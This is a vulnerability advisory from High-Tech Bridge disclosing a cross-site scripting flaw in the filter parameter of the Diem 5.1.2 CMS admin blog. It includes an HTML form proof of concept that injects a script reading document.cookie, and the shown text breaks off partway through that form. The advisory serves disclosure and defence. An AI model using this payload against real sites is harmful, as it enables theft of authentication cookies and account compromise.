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XSS vulnerability in Diem

Vulnerability ID: HTB22460
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diem_2.html
Product: Diem
Vendor: Diem team
Vulnerable Version: 5.1.2 and Probably Prior Versions
Vendor Notification: 29 June 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the blog items filter module script to properly sanitize user-supplied input in "article_form_filter[name][text]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php/content/blog/articles/filter"; name="main" >
<input type="hidden" name="article_form_filter[name][text]" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="article_form_filter[is_active]" value="" />
<input type="hidden" name="article_form_filter[text][text]" value="" />
<input type="hidden" name="article_form_filter[created_by]" value="" />
<input type="hidden" name="article_form_filter[created_at]" value="" />
<input type="hidden" name="article_form_filter[updated_at]" value="" />